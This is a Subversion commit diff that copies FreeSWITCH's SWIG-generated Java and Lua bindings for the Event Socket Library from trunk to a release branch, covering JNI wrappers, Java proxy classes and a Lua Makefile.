+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  arg4 = 0;
+  if (jarg4) {
+    arg4 = (char *)jenv->GetStringUTFChars(jarg4, 0);
+    if (!arg4) return 0;
+  }
+  result = (int)(arg1)->executeAsync((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  jresult = (jint)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  if (arg4) jenv->ReleaseStringUTFChars(jarg4, (const char *)arg4);
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1setAsyncExecute(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (int)(arg1)->setAsyncExecute((char const *)arg2);
+  jresult = (jint)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1setEventLock(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (int)(arg1)->setEventLock((char const *)arg2);
+  jresult = (jint)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1disconnect(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  result = (int)(arg1)->disconnect();
+  jresult = (jint)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void JNICALL Java_org_freeswitch_esl_eslJNI_eslSetLogLevel(JNIEnv *jenv, jclass jcls, jint jarg1) {
+  int arg1 ;
+  
+  (void)jenv;
+  (void)jcls;
+  arg1 = (int)jarg1; 
+  eslSetLogLevel(arg1);
+}
+
+
+#ifdef __cplusplus
+}
+#endif
+

Copied: freeswitch/branches/seven/libs/esl/java/org (from rev 14471, freeswitch/trunk/libs/esl/java/org)

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch)

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch/esl)

Deleted: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLconnection.java

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLconnection.java (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch/esl/ESLconnection.java) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLconnection.java	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLconnection.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,119 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.esl;
+
+public class ESLconnection {
+  private long swigCPtr;
+  protected boolean swigCMemOwn;
+
+  protected ESLconnection(long cPtr, boolean cMemoryOwn) {
+    swigCMemOwn = cMemoryOwn;
+    swigCPtr = cPtr;
+  }
+
+  protected static long getCPtr(ESLconnection obj) {
+    return (obj == null) ? 0 : obj.swigCPtr;
+  }
+
+  protected void finalize() {
+    delete();
+  }
+
+  public synchronized void delete() {
+    if(swigCPtr != 0 && swigCMemOwn) {
+      swigCMemOwn = false;
+      eslJNI.delete_ESLconnection(swigCPtr);
+    }
+    swigCPtr = 0;
+  }
+
+  public ESLconnection(String host, String port, String password) {
+    this(eslJNI.new_ESLconnection__SWIG_0(host, port, password), true);
+  }
+
+  public ESLconnection(int socket) {
+    this(eslJNI.new_ESLconnection__SWIG_1(socket), true);
+  }
+
+  public int socketDescriptor() {
+    return eslJNI.ESLconnection_socketDescriptor(swigCPtr, this);
+  }
+
+  public int connected() {
+    return eslJNI.ESLconnection_connected(swigCPtr, this);
+  }
+
+  public ESLevent getInfo() {
+    long cPtr = eslJNI.ESLconnection_getInfo(swigCPtr, this);
+    return (cPtr == 0) ? null : new ESLevent(cPtr, true);
+  }
+
+  public int send(String cmd) {
+    return eslJNI.ESLconnection_send(swigCPtr, this, cmd);
+  }
+
+  public ESLevent sendRecv(String cmd) {
+    long cPtr = eslJNI.ESLconnection_sendRecv(swigCPtr, this, cmd);
+    return (cPtr == 0) ? null : new ESLevent(cPtr, true);
+  }
+
+  public ESLevent api(String cmd, String arg) {
+    long cPtr = eslJNI.ESLconnection_api(swigCPtr, this, cmd, arg);
+    return (cPtr == 0) ? null : new ESLevent(cPtr, true);
+  }
+
+  public ESLevent bgapi(String cmd, String arg) {
+    long cPtr = eslJNI.ESLconnection_bgapi(swigCPtr, this, cmd, arg);
+    return (cPtr == 0) ? null : new ESLevent(cPtr, true);
+  }
+
+  public int sendEvent(ESLevent send_me) {
+    return eslJNI.ESLconnection_sendEvent(swigCPtr, this, ESLevent.getCPtr(send_me), send_me);
+  }
+
+  public ESLevent recvEvent() {
+    long cPtr = eslJNI.ESLconnection_recvEvent(swigCPtr, this);
+    return (cPtr == 0) ? null : new ESLevent(cPtr, true);
+  }
+
+  public ESLevent recvEventTimed(int ms) {
+    long cPtr = eslJNI.ESLconnection_recvEventTimed(swigCPtr, this, ms);
+    return (cPtr == 0) ? null : new ESLevent(cPtr, true);
+  }
+
+  public ESLevent filter(String header, String value) {
+    long cPtr = eslJNI.ESLconnection_filter(swigCPtr, this, header, value);
+    return (cPtr == 0) ? null : new ESLevent(cPtr, true);
+  }
+
+  public int events(String etype, String value) {
+    return eslJNI.ESLconnection_events(swigCPtr, this, etype, value);
+  }
+
+  public int execute(String app, String arg, String uuid) {
+    return eslJNI.ESLconnection_execute(swigCPtr, this, app, arg, uuid);
+  }
+
+  public int executeAsync(String app, String arg, String uuid) {
+    return eslJNI.ESLconnection_executeAsync(swigCPtr, this, app, arg, uuid);
+  }
+
+  public int setAsyncExecute(String val) {
+    return eslJNI.ESLconnection_setAsyncExecute(swigCPtr, this, val);
+  }
+
+  public int setEventLock(String val) {
+    return eslJNI.ESLconnection_setEventLock(swigCPtr, this, val);
+  }
+
+  public int disconnect() {
+    return eslJNI.ESLconnection_disconnect(swigCPtr, this);
+  }
+
+}

Deleted: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLevent.java

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLevent.java (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch/esl/ESLevent.java) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLevent.java	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/ESLevent.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,113 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.esl;
+
+public class ESLevent {
+  private long swigCPtr;
+  protected boolean swigCMemOwn;
+
+  protected ESLevent(long cPtr, boolean cMemoryOwn) {
+    swigCMemOwn = cMemoryOwn;
+    swigCPtr = cPtr;
+  }
+
+  protected static long getCPtr(ESLevent obj) {
+    return (obj == null) ? 0 : obj.swigCPtr;
+  }
+
+  protected void finalize() {
+    delete();
+  }
+
+  public synchronized void delete() {
+    if(swigCPtr != 0 && swigCMemOwn) {
+      swigCMemOwn = false;
+      eslJNI.delete_ESLevent(swigCPtr);
+    }
+    swigCPtr = 0;
+  }
+
+  public void setEvent(SWIGTYPE_p_esl_event_t value) {
+    eslJNI.ESLevent_event_set(swigCPtr, this, SWIGTYPE_p_esl_event_t.getCPtr(value));
+  }
+
+  public SWIGTYPE_p_esl_event_t getEvent() {
+    long cPtr = eslJNI.ESLevent_event_get(swigCPtr, this);
+    return (cPtr == 0) ? null : new SWIGTYPE_p_esl_event_t(cPtr, false);
+  }
+
+  public void setSerialized_string(String value) {
+    eslJNI.ESLevent_serialized_string_set(swigCPtr, this, value);
+  }
+
+  public String getSerialized_string() {
+    return eslJNI.ESLevent_serialized_string_get(swigCPtr, this);
+  }
+
+  public void setMine(int value) {
+    eslJNI.ESLevent_mine_set(swigCPtr, this, value);
+  }
+
+  public int getMine() {
+    return eslJNI.ESLevent_mine_get(swigCPtr, this);
+  }
+
+  public ESLevent(String type, String subclass_name) {
+    this(eslJNI.new_ESLevent__SWIG_0(type, subclass_name), true);
+  }
+
+  public ESLevent(SWIGTYPE_p_esl_event_t wrap_me, int free_me) {
+    this(eslJNI.new_ESLevent__SWIG_1(SWIGTYPE_p_esl_event_t.getCPtr(wrap_me), free_me), true);
+  }
+
+  public ESLevent(ESLevent me) {
+    this(eslJNI.new_ESLevent__SWIG_2(ESLevent.getCPtr(me), me), true);
+  }
+
+  public String serialize(String format) {
+    return eslJNI.ESLevent_serialize(swigCPtr, this, format);
+  }
+
+  public boolean setPriority(SWIGTYPE_p_esl_priority_t priority) {
+    return eslJNI.ESLevent_setPriority(swigCPtr, this, SWIGTYPE_p_esl_priority_t.getCPtr(priority));
+  }
+
+  public String getHeader(String header_name) {
+    return eslJNI.ESLevent_getHeader(swigCPtr, this, header_name);
+  }
+
+  public String getBody() {
+    return eslJNI.ESLevent_getBody(swigCPtr, this);
+  }
+
+  public String getType() {
+    return eslJNI.ESLevent_getType(swigCPtr, this);
+  }
+
+  public boolean addBody(String value) {
+    return eslJNI.ESLevent_addBody(swigCPtr, this, value);
+  }
+
+  public boolean addHeader(String header_name, String value) {
+    return eslJNI.ESLevent_addHeader(swigCPtr, this, header_name, value);
+  }
+
+  public boolean delHeader(String header_name) {
+    return eslJNI.ESLevent_delHeader(swigCPtr, this, header_name);
+  }
+
+  public String firstHeader() {
+    return eslJNI.ESLevent_firstHeader(swigCPtr, this);
+  }
+
+  public String nextHeader() {
+    return eslJNI.ESLevent_nextHeader(swigCPtr, this);
+  }
+
+}

Deleted: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_event_t.java

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_event_t.java (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_event_t.java) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_event_t.java	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_event_t.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.esl;
+
+public class SWIGTYPE_p_esl_event_t {
+  private long swigCPtr;
+
+  protected SWIGTYPE_p_esl_event_t(long cPtr, boolean futureUse) {
+    swigCPtr = cPtr;
+  }
+
+  protected SWIGTYPE_p_esl_event_t() {
+    swigCPtr = 0;
+  }
+
+  protected static long getCPtr(SWIGTYPE_p_esl_event_t obj) {
+    return (obj == null) ? 0 : obj.swigCPtr;
+  }
+}
+

Deleted: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_priority_t.java

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_priority_t.java (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_priority_t.java) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_priority_t.java	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/SWIGTYPE_p_esl_priority_t.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.esl;
+
+public class SWIGTYPE_p_esl_priority_t {
+  private long swigCPtr;
+
+  protected SWIGTYPE_p_esl_priority_t(long cPtr, boolean futureUse) {
+    swigCPtr = cPtr;
+  }
+
+  protected SWIGTYPE_p_esl_priority_t() {
+    swigCPtr = 0;
+  }
+
+  protected static long getCPtr(SWIGTYPE_p_esl_priority_t obj) {
+    return (obj == null) ? 0 : obj.swigCPtr;
+  }
+}
+

Deleted: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/esl.java

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/esl.java (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch/esl/esl.java) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/esl.java	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/esl.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.esl;
+
+public class esl {
+  public static void eslSetLogLevel(int level) {
+    eslJNI.eslSetLogLevel(level);
+  }
+
+}

Deleted: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/eslJNI.java

Copied: freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/eslJNI.java (from rev 14471, freeswitch/trunk/libs/esl/java/org/freeswitch/esl/eslJNI.java) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/eslJNI.java	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/org/freeswitch/esl/eslJNI.java	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+package org.freeswitch.esl;
+
+class eslJNI {
+  public final static native void ESLevent_event_set(long jarg1, ESLevent jarg1_, long jarg2);
+  public final static native long ESLevent_event_get(long jarg1, ESLevent jarg1_);
+  public final static native void ESLevent_serialized_string_set(long jarg1, ESLevent jarg1_, String jarg2);
+  public final static native String ESLevent_serialized_string_get(long jarg1, ESLevent jarg1_);
+  public final static native void ESLevent_mine_set(long jarg1, ESLevent jarg1_, int jarg2);
+  public final static native int ESLevent_mine_get(long jarg1, ESLevent jarg1_);
+  public final static native long new_ESLevent__SWIG_0(String jarg1, String jarg2);
+  public final static native long new_ESLevent__SWIG_1(long jarg1, int jarg2);
+  public final static native long new_ESLevent__SWIG_2(long jarg1, ESLevent jarg1_);
+  public final static native void delete_ESLevent(long jarg1);
+  public final static native String ESLevent_serialize(long jarg1, ESLevent jarg1_, String jarg2);
+  public final static native boolean ESLevent_setPriority(long jarg1, ESLevent jarg1_, long jarg2);
+  public final static native String ESLevent_getHeader(long jarg1, ESLevent jarg1_, String jarg2);
+  public final static native String ESLevent_getBody(long jarg1, ESLevent jarg1_);
+  public final static native String ESLevent_getType(long jarg1, ESLevent jarg1_);
+  public final static native boolean ESLevent_addBody(long jarg1, ESLevent jarg1_, String jarg2);
+  public final static native boolean ESLevent_addHeader(long jarg1, ESLevent jarg1_, String jarg2, String jarg3);
+  public final static native boolean ESLevent_delHeader(long jarg1, ESLevent jarg1_, String jarg2);
+  public final static native String ESLevent_firstHeader(long jarg1, ESLevent jarg1_);
+  public final static native String ESLevent_nextHeader(long jarg1, ESLevent jarg1_);
+  public final static native long new_ESLconnection__SWIG_0(String jarg1, String jarg2, String jarg3);
+  public final static native long new_ESLconnection__SWIG_1(int jarg1);
+  public final static native void delete_ESLconnection(long jarg1);
+  public final static native int ESLconnection_socketDescriptor(long jarg1, ESLconnection jarg1_);
+  public final static native int ESLconnection_connected(long jarg1, ESLconnection jarg1_);
+  public final static native long ESLconnection_getInfo(long jarg1, ESLconnection jarg1_);
+  public final static native int ESLconnection_send(long jarg1, ESLconnection jarg1_, String jarg2);
+  public final static native long ESLconnection_sendRecv(long jarg1, ESLconnection jarg1_, String jarg2);
+  public final static native long ESLconnection_api(long jarg1, ESLconnection jarg1_, String jarg2, String jarg3);
+  public final static native long ESLconnection_bgapi(long jarg1, ESLconnection jarg1_, String jarg2, String jarg3);
+  public final static native int ESLconnection_sendEvent(long jarg1, ESLconnection jarg1_, long jarg2, ESLevent jarg2_);
+  public final static native long ESLconnection_recvEvent(long jarg1, ESLconnection jarg1_);
+  public final static native long ESLconnection_recvEventTimed(long jarg1, ESLconnection jarg1_, int jarg2);
+  public final static native long ESLconnection_filter(long jarg1, ESLconnection jarg1_, String jarg2, String jarg3);
+  public final static native int ESLconnection_events(long jarg1, ESLconnection jarg1_, String jarg2, String jarg3);
+  public final static native int ESLconnection_execute(long jarg1, ESLconnection jarg1_, String jarg2, String jarg3, String jarg4);
+  public final static native int ESLconnection_executeAsync(long jarg1, ESLconnection jarg1_, String jarg2, String jarg3, String jarg4);
+  public final static native int ESLconnection_setAsyncExecute(long jarg1, ESLconnection jarg1_, String jarg2);
+  public final static native int ESLconnection_setEventLock(long jarg1, ESLconnection jarg1_, String jarg2);
+  public final static native int ESLconnection_disconnect(long jarg1, ESLconnection jarg1_);
+  public final static native void eslSetLogLevel(int jarg1);
+}

Copied: freeswitch/branches/seven/libs/esl/lua (from rev 14471, freeswitch/trunk/libs/esl/lua)

Deleted: freeswitch/branches/seven/libs/esl/lua/Makefile

Copied: freeswitch/branches/seven/libs/esl/lua/Makefile (from rev 14471, freeswitch/trunk/libs/esl/lua/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/lua/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/lua/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+LOCAL_CFLAGS=
+LOCAL_LDFLAGS=-llua
+WRAP_GCC_WARNING_SILENCE=-Wno-unused-function
+
+all: ESL.so
+
+esl_wrap.cpp:
+	swig -module ESL -lua -c++ -DMULTIPLICITY -I../src/include -o esl_wrap.cpp ../ESL.i
+
+esl_wrap.o: esl_wrap.cpp
+	$(CXX) $(CXX_CFLAGS) $(CXXFLAGS) $(LOCAL_CFLAGS) $(WRAP_GCC_WARNING_SILENCE) -c esl_wrap.cpp -o esl_wrap.o
+
+ESL.so: esl_wrap.o
+	$(CXX) $(SOLINK) esl_wrap.o $(MYLIB) $(LOCAL_LDFLAGS) -o ESL.so -L. $(LIBS)
+
+clean:
+	rm -f *.o *.so *~
+
+swigclean:
+	rm -f esl_wrap.* ESL.so
+
+reswig:	swigclean esl_wrap.cpp
+

Deleted: freeswitch/branches/seven/libs/esl/lua/esl_wrap.cpp

Copied: freeswitch/branches/seven/libs/esl/lua/esl_wrap.cpp (from rev 14471, freeswitch/trunk/libs/esl/lua/esl_wrap.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/lua/esl_wrap.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/lua/esl_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3181 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+
+#ifdef __cplusplus
+template<typename T> class SwigValueWrapper {
+    T *tt;
+public:
+    SwigValueWrapper() : tt(0) { }
+    SwigValueWrapper(const SwigValueWrapper<T>& rhs) : tt(new T(*rhs.tt)) { }
+    SwigValueWrapper(const T& t) : tt(new T(t)) { }
+    ~SwigValueWrapper() { delete tt; } 
+    SwigValueWrapper& operator=(const T& t) { delete tt; tt = new T(t); return *this; }
+    operator T&() const { return *tt; }
+    T *operator&() { return tt; }
+private:
+    SwigValueWrapper& operator=(const SwigValueWrapper<T>& rhs);
+};
+
+template <typename T> T SwigValueInit() {
+  return T();
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ *  This section contains generic SWIG labels for method/variable
+ *  declarations/attributes, and other compiler dependent labels.
+ * ----------------------------------------------------------------------------- */
+
+/* template workaround for compilers that cannot correctly implement the C++ standard */
+#ifndef SWIGTEMPLATEDISAMBIGUATOR
+# if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560)
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# elif defined(__HP_aCC)
+/* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */
+/* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# else
+#  define SWIGTEMPLATEDISAMBIGUATOR
+# endif
+#endif
+
+/* inline attribute */
+#ifndef SWIGINLINE
+# if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__))
+#   define SWIGINLINE inline
+# else
+#   define SWIGINLINE
+# endif
+#endif
+
+/* attribute recognised by some compilers to avoid 'unused' warnings */
+#ifndef SWIGUNUSED
+# if defined(__GNUC__)
+#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
+#     define SWIGUNUSED __attribute__ ((__unused__)) 
+#   else
+#     define SWIGUNUSED
+#   endif
+# elif defined(__ICC)
+#   define SWIGUNUSED __attribute__ ((__unused__)) 
+# else
+#   define SWIGUNUSED 
+# endif
+#endif
+
+#ifndef SWIGUNUSEDPARM
+# ifdef __cplusplus
+#   define SWIGUNUSEDPARM(p)
+# else
+#   define SWIGUNUSEDPARM(p) p SWIGUNUSED 
+# endif
+#endif
+
+/* internal SWIG method */
+#ifndef SWIGINTERN
+# define SWIGINTERN static SWIGUNUSED
+#endif
+
+/* internal inline SWIG method */
+#ifndef SWIGINTERNINLINE
+# define SWIGINTERNINLINE SWIGINTERN SWIGINLINE
+#endif
+
+/* exporting methods */
+#if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)
+#  ifndef GCC_HASCLASSVISIBILITY
+#    define GCC_HASCLASSVISIBILITY
+#  endif
+#endif
+
+#ifndef SWIGEXPORT
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   if defined(STATIC_LINKED)
+#     define SWIGEXPORT
+#   else
+#     define SWIGEXPORT __declspec(dllexport)
+#   endif
+# else
+#   if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
+#     define SWIGEXPORT __attribute__ ((visibility("default")))
+#   else
+#     define SWIGEXPORT
+#   endif
+# endif
+#endif
+
+/* calling conventions for Windows */
+#ifndef SWIGSTDCALL
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   define SWIGSTDCALL __stdcall
+# else
+#   define SWIGSTDCALL
+# endif 
+#endif
+
+/* Deal with Microsoft's attempt at deprecating C standard runtime functions */
+#if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)
+# define _CRT_SECURE_NO_DEPRECATE
+#endif
+
+/* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */
+#if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE)
+# define _SCL_SECURE_NO_DEPRECATE
+#endif
+
+
+/* -----------------------------------------------------------------------------
+ * swigrun.swg
+ *
+ * This file contains generic CAPI SWIG runtime support for pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+/* This should only be incremented when either the layout of swig_type_info changes,
+   or for whatever reason, the runtime changes incompatibly */
+#define SWIG_RUNTIME_VERSION "4"
+
+/* define SWIG_TYPE_TABLE_NAME as "SWIG_TYPE_TABLE" */
+#ifdef SWIG_TYPE_TABLE
+# define SWIG_QUOTE_STRING(x) #x
+# define SWIG_EXPAND_AND_QUOTE_STRING(x) SWIG_QUOTE_STRING(x)
+# define SWIG_TYPE_TABLE_NAME SWIG_EXPAND_AND_QUOTE_STRING(SWIG_TYPE_TABLE)
+#else
+# define SWIG_TYPE_TABLE_NAME
+#endif
+
+/*
+  You can use the SWIGRUNTIME and SWIGRUNTIMEINLINE macros for
+  creating a static or dynamic library from the swig runtime code.
+  In 99.9% of the cases, swig just needs to declare them as 'static'.
+  
+  But only do this if is strictly necessary, ie, if you have problems
+  with your compiler or so.
+*/
+
+#ifndef SWIGRUNTIME
+# define SWIGRUNTIME SWIGINTERN
+#endif
+
+#ifndef SWIGRUNTIMEINLINE
+# define SWIGRUNTIMEINLINE SWIGRUNTIME SWIGINLINE
+#endif
+
+/*  Generic buffer size */
+#ifndef SWIG_BUFFER_SIZE
+# define SWIG_BUFFER_SIZE 1024
+#endif
+
+/* Flags for pointer conversions */
+#define SWIG_POINTER_DISOWN        0x1
+#define SWIG_CAST_NEW_MEMORY       0x2
+
+/* Flags for new pointer objects */
+#define SWIG_POINTER_OWN           0x1
+
+
+/* 
+   Flags/methods for returning states.
+   
+   The swig conversion methods, as ConvertPtr, return and integer 
+   that tells if the conversion was successful or not. And if not,
+   an error code can be returned (see swigerrors.swg for the codes).
+   
+   Use the following macros/flags to set or process the returning
+   states.
+   
+   In old swig versions, you usually write code as:
+
+     if (SWIG_ConvertPtr(obj,vptr,ty.flags) != -1) {
+       // success code
+     } else {
+       //fail code
+     }
+
+   Now you can be more explicit as:
+
+    int res = SWIG_ConvertPtr(obj,vptr,ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+    } else {
+      // fail code
+    }
+
+   that seems to be the same, but now you can also do
+
+    Type *ptr;
+    int res = SWIG_ConvertPtr(obj,(void **)(&ptr),ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+      if (SWIG_IsNewObj(res) {
+        ...
+	delete *ptr;
+      } else {
+        ...
+      }
+    } else {
+      // fail code
+    }
+    
+   I.e., now SWIG_ConvertPtr can return new objects and you can
+   identify the case and take care of the deallocation. Of course that
+   requires also to SWIG_ConvertPtr to return new result values, as
+
+      int SWIG_ConvertPtr(obj, ptr,...) {         
+        if (<obj is ok>) {			       
+          if (<need new object>) {		       
+            *ptr = <ptr to new allocated object>; 
+            return SWIG_NEWOBJ;		       
+          } else {				       
+            *ptr = <ptr to old object>;	       
+            return SWIG_OLDOBJ;		       
+          } 				       
+        } else {				       
+          return SWIG_BADOBJ;		       
+        }					       
+      }
+
+   Of course, returning the plain '0(success)/-1(fail)' still works, but you can be
+   more explicit by returning SWIG_BADOBJ, SWIG_ERROR or any of the
+   swig errors code.
+
+   Finally, if the SWIG_CASTRANK_MODE is enabled, the result code
+   allows to return the 'cast rank', for example, if you have this
+
+       int food(double)
+       int fooi(int);
+
+   and you call
+ 
+      food(1)   // cast rank '1'  (1 -> 1.0)
+      fooi(1)   // cast rank '0'
+
+   just use the SWIG_AddCast()/SWIG_CheckState()
+
+
+ */
+#define SWIG_OK                    (0) 
+#define SWIG_ERROR                 (-1)
+#define SWIG_IsOK(r)               (r >= 0)
+#define SWIG_ArgError(r)           ((r != SWIG_ERROR) ? r : SWIG_TypeError)  
+
+/* The CastRankLimit says how many bits are used for the cast rank */
+#define SWIG_CASTRANKLIMIT         (1 << 8)
+/* The NewMask denotes the object was created (using new/malloc) */
